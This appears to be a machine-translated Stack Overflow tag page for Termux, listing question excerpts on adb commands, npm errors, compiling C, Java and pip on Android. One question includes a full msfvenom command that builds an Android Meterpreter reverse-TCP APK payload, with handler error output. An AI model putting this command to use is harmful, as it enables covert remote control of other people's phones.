问题标签 [termux]

For questions regarding programming in ECMAScript (JavaScript/JS) and its various dialects/implementations (excluding ActionScript). Note JavaScript is NOT the same as Java! Please include all relevant tags on your question; e.g., [node.js], [jquery], [json], [reactjs], [angular], [ember.js], [vue.js], [typescript], [svelte], etc.

0 投票
5 回答
51186 浏览

android - 如何在 Android 设备上本地的终端模拟器中运行“adb shell”命令?

在我的 PC 上的 shell 中,我可以运行adb shell cmd package list packages并获取所有已安装软件包的列表。我想在终端模拟器(当前使用 Termux)中在我的 Android 手机(Nexus 6P)上本地运行此命令和类似命令。

如果我用 打开同一个 shell /system/bin/sh,然后尝试运行/system/bin/cmd package list packages,什么都不会发生(没有错误,只是不输出任何内容并重新加载提示)。

如果我运行/system/bin/cmd -l选项列表,则会按预期显示。$PATH并且$LD_LIBRARY_PATH在两种环境中都是相同的。一个主要区别是从 中echo $USER返回“shell” ,但从Termux 启动时adb shell返回我的本地用户名。/system/bin/sh

有什么方法可以复制adb shell在 Android 本地终端模拟器中运行的命令的行为?

编辑:我的设备已植根,我可以使用仅根解决方案。

0 投票
1 回答
379 浏览

android - Android 错误:尝试在 termux 上安装 express

当我运行命令时它给了我这个错误

未处理的拒绝错误:EACCES:权限被拒绝,链接 '/data/data/com.termux/files/home/.npm/_cacache/tmp/e2710f83' -> '/data/data/com.termux/files/home/. npm/_cacache/content-v2/sha512/59/ca/2e0f5017aa211536370255b2fbb493016a53ca7d335d077820223a58a86aa8771e6607b085e66f0dc28c2d783e58375a461ac72baa9eb93e4d

0 投票
1 回答
1032 浏览

python - Line 的编辑机器人

我从https://github.com/merkremont/LineVodka获得了机器人脚本

我想添加这个脚本,但它说语法错误/意外缩进

0 投票
1 回答
5863 浏览

c++ - 在由 clang 编译的 Termux 中运行 C 代码

直到昨晚,我一直在 Android 上使用 CppDroid 编译我的代码。

更新应用程序后,它开始显示position independent executable错误。

我重新安装了旧版本,但仍然遇到同样的错误。

我知道这是 Android 5.0 及更高版本的问题。但是,CppDroid 是如何工作到昨晚的呢?谁能给我答案或任何线索?

Termux 只提供 Clang。谁能给我一种成功编译C代码的方法?

权限被拒绝错误

在此处输入图像描述

0 投票
0 回答
961 浏览

android - C编译器无法通过termux在android上创建可执行文件

我正在尝试通过termux开始verium挖掘。我主要通过终端安装了附加到我的依赖项,但其中一些无法下载这里是在矿工运行之前需要安装的软件包的命令。

以一种或其他方式安装它们,其中一些无法安装,我为它们安装了备用软件包。

这是我尝试 ./build.sh 时遇到的错误。

这是配置文件。

0 投票
2 回答
3441 浏览

android - 当我尝试制作有效载荷时,它正在向我展示

当我在我的 termux 应用程序中使用此命令制作有效负载时

然后它向我展示

请问如何解决,请帮帮我

0 投票
3 回答
3744 浏览

root - 当我尝试利用我的有效负载时,它向我显示,没有创建会话

当我尝试利用我的有效载荷时,它向我展示了......

处理程序未能绑定到您的 IP:- -

[-] 处理程序未能绑定到 0.0.0.0:5432:- -

[-] Exploit failed [bad-config]: Rex::BindFailed 地址已被使用或不可用:(0.0.0.0:5432)。

[*] 漏洞利用已完成,但未创建会话。

/////////////////

制作有效载荷的命令

./msfvenom -p android/meterpreter/reverse_tcp LHOST=你的IP LPORT=5432 -o ~/storage/downloads/test2.apk

先生请帮帮我!!!

感谢您查看/阅读我的帖子

0 投票
0 回答
570 浏览

java - 将 Java 安装到 Android 机器

我最近在我的 Windows 笔记本电脑上安装了 Android。我想运行 Selenium-Webdriver 进行自动化和开发。我需要 Java for Selenium 才能在我的 Android 机器上运行它。

这是我第一次(显然)将 Android 放在笔记本电脑上,并且想知道如何将 JDK 放在上面。

我曾尝试对此进行研究,但没有运气。

注意:我有 Termux - 所以我能够安装来自 NodeJS、Protractor、Selenium 等的所有东西。

我尝试按照建议安装 GNURoot Debian,但应用程序启动时出现错误。我已经研究过这个问题,但没有运气。此外,堆栈溢出答案中的 APK 文件无效。

0 投票
1 回答
211 浏览

node.js - 为什么需要(lodash)检索过时的版本?

我已经通过 Termux 在我的 Android 手机上安装了节点,并且最近将 lodash 全局升级到 v4

但是,当我需要它时,节点会给我版本 3。

我没有需要的 node_modules 文件夹。有谁知道为什么会发生这种奇怪的行为以及如何解决它?非常感谢

0 投票
0 回答
1662 浏览

android - 在 Termux 下的 ArchLinux 上 pip install 坏了

使用 python 3.6.4:

在全新的 Termux 安装中,我会按照https://wiki.termux.com/wiki/Arch

之后在 ArchLinux 中:

并且总是得到:

此外 --user 或 pyvenv 根本没有帮助。任何建议,我做错了什么?

请注意:

  • 安卓设备没有root
  • ArchLinux 用户是 root(默认)
  • 权限看起来不错。我可以手动将文件复制到目标目录就可以了。

更新:使用 python 2.7.14 一切正常。